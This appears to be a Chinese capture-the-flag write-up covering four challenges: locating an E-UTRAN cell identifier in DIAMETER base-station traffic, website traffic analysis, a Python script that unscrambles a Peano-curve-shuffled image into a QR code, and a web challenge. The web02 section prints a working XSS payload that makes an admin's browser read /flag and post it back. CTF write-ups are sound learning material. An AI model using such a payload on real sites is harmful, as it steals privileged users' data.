misc01
基站流量分析。
甚至去看了不少 specification(恼
流量包中有S1AP/DIAMETER/GTPv2等协议的流量包。其中GTPv2是设备和基站连接使用。S1AP/DIAMETER是基站间通信使用?
S1AP操作更底层的内容,不太可能包含位置信息。加上 GPT 大人说 DIAMETER 可以用于位置服务,就把 diameter 的包全部过滤出来了。然后一个一个看,第 110 个包中有 EPS-Location-Infomation.找到其中的唯一标识码:EPS-Location-Information.MME-Location-Infomation.E-UTRAN-Cell-Global-Identity的值,md5 后提交即可。(试了我好久😡
misc03
网站流量分析。
其实好像把所有发包的 ip 全部取出来试一下就出了。
misc04
怎么还能是原题呢。peano 曲线。
IrisCTF2024+SBCTF2024原题。脚本一把梭。另外之前群里传的那个图非常有可能是我出的…
import numpy as np
from PIL import Image
def peano_curve(n):
peano_old = np.array([[0, 0], [0, 1], [0.5, 1], [0.5, 0], [1, 0], [1, 1]])
points = peano_old.tolist()
# points = []
for i in range(1, n):
p1 = np.column_stack((peano_old[:, 0], 2 + 1 / (3**i - 1) - peano_old[:, 1]))
p1 = p1[::-1]
p2 = np.column_stack((p1[:, 0], 4 + 3 / (3**i - 1) - p1[:, 1]))
p2 = p2[::-1]
peano_new = np.vstack((peano_old, p1, p2))
p1 = np.column_stack((2 + 1 / (3**i - 1) - peano_new[:, 0], peano_new[:, 1]))
p1 = p1[::-1]
p2 = np.column_stack((4 + 3 / (3**i - 1) - p1[:, 0], p1[:, 1]))
p2 = p2[::-1]
peano_new = np.vstack((peano_new, p1, p2))
peano_old = peano_new / (3 + 2 / (3**i - 1))
points = peano_old.tolist()
points = np.round(np.array(points) * (3**n - 1)).astype(int)
nP = []
for i in range(len(points) - 1):
nP.append(points[i])
dx = int(points[i + 1][0] - points[i][0])
dy = int(points[i + 1][1] - points[i][1])
if dx == 0:
for j in range(1, abs(dy)):
nP.append(np.array([points[i][0], points[i][1] + j * (dy // abs(dy))]))
else:
for j in range(1, abs(dx)):
nP.append(np.array([points[i][0] + j * (dx // abs(dx)), points[i][1]]))
nP.append(points[-1])
return np.array(nP)
points = peano_curve(6)
r = np.array(Image.open("encrypto.png").convert("RGB"))
w, h = r.shape[:2]
s = []
for i in range(len(points)):
y, x = points[i]
s.append(r[x, w - 1 - y])
Image.fromarray(np.array(s).reshape((h, w, 3))).save("crypt2.png") 然后是个二维码,扫开就行。
web02
随便登录,发现有 xss,flag 应该是在/flag 路径下。思路是 xss 让 boss 端浏览器访问/flag得到内容,并且直接 post 回原来的位置就行。
<script>
fetch("/flag").then(data=>data.text())
.then(data=>{
fetch(document.location,{
method: "POST",
headers: {"Content-Type":"application/x-www-form-urlencoded"},
body: `content=${data}`
}
});
</script>